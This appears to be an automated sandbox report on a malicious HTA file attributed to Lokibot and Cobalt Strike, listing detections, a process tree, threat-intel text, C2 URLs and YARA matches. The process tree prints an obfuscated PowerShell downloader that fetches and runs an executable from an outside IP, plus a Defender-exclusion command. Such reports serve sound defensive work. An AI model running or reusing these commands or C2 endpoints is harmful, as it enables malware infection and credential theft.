Edit tour

Windows Analysis Report
goodtoseeuthatgreatthingswithentirethingsgreatfor.hta

Overview

General Information

Sample name:	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta
Analysis ID:	1559253
MD5:	ec0d423a3f72d69975a1e31a275f5377
SHA1:	213922fb8456ecaadc24889afec1ac6ef5010c68
SHA256:	9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac
Tags:	htauser-abuse_ch
Infos:

Detection

Cobalt Strike, Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected Cobalt Strike Beacon

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Lokibot

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Drops PE files with benign system names

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: System File Execution Location Anomaly

Suspicious powershell command line found

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Tries to steal Mail credentials (via file registry)

Yara detected aPLib compressed binary

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Powershell Defender Exclusion

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 6360 cmdline: mshta.exe "C:\Users\user\Desktop\goodtoseeuthatgreatthingswithentirethingsgreatfor.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 6668 cmdline: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7068 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 3604 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 5040 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF21.tmp" "c:\Users\user\AppData\Local\Temp\sg2bcrbf\CSC9DC7DEFBB3DB4CF88431EEB79FD9B6EB.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

wininit.exe (PID: 4416 cmdline: "C:\Users\user\AppData\Roaming\wininit.exe" MD5: 66B03D1AFF27D81E62B53FC108806211)

powershell.exe (PID: 4364 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 3196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 3488 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

wininit.exe (PID: 2668 cmdline: "C:\Users\user\AppData\Roaming\wininit.exe" MD5: 66B03D1AFF27D81E62B53FC108806211)

svchost.exe (PID: 7108 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loki Password Stealer (PWS), LokiBot	"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2	SWEED The Gorgon Group Cobalt	http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html http://reversing.fun/posts/2021/06/08/lokibot.html http://reversing.fun/reversing/2021/06/08/lokibot.html http://www.malware-traffic-analysis.net/2017/06/12/index.html https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file	https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.41/maxzi/five/fre.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x175f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x49bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x131ff:$des3: 68 03 66 00 00 0x175f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x176bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x19d5d0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x18a99b:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x1991df:$des3: 68 03 66 00 00 0x19d5d0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x19d69c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000009.00000002.2881596868.0000000000948000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x220b4:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0xf467:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x1dcab:$des3: 68 03 66 00 00 0x220b4:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x22180:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: wininit.exe PID: 4416	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: wininit.exe PID: 4416	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: wininit.exe PID: 4416	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: wininit.exe PID: 4416	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x8dc0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0x5543d:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0x90f28:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Process Memory Space: wininit.exe PID: 2668	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: wininit.exe PID: 2668	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: wininit.exe PID: 2668	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
Process Memory Space: wininit.exe PID: 2668	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x88c6:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.wininit.exe.3709200.2.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.2.wininit.exe.3709200.2.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
6.2.wininit.exe.3709200.2.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
6.2.wininit.exe.3709200.2.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
6.2.wininit.exe.3709200.2.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.2.wininit.exe.36ef1e0.3.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.2.wininit.exe.36ef1e0.3.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.2.wininit.exe.36ef1e0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.wininit.exe.36ef1e0.3.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
6.2.wininit.exe.36ef1e0.3.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
9.2.wininit.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
9.2.wininit.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
9.2.wininit.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.wininit.exe.36ef1e0.3.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
9.2.wininit.exe.400000.0.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
9.2.wininit.exe.400000.0.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
6.2.wininit.exe.36ef1e0.3.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.2.wininit.exe.36ef1e0.3.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
9.2.wininit.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
9.2.wininit.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
9.2.wininit.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
9.2.wininit.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
9.2.wininit.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
9.2.wininit.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.wininit.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
9.2.wininit.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
9.2.wininit.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
9.2.wininit.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
9.2.wininit.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
6.2.wininit.exe.3709200.2.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.2.wininit.exe.3709200.2.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.2.wininit.exe.3709200.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.wininit.exe.3709200.2.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
6.2.wininit.exe.3709200.2.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
6.2.wininit.exe.3709200.2.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
6.2.wininit.exe.3709200.2.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.2.wininit.exe.3709200.2.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
6.2.wininit.exe.36ef1e0.3.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.2.wininit.exe.36ef1e0.3.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
6.2.wininit.exe.36ef1e0.3.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
6.2.wininit.exe.36ef1e0.3.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
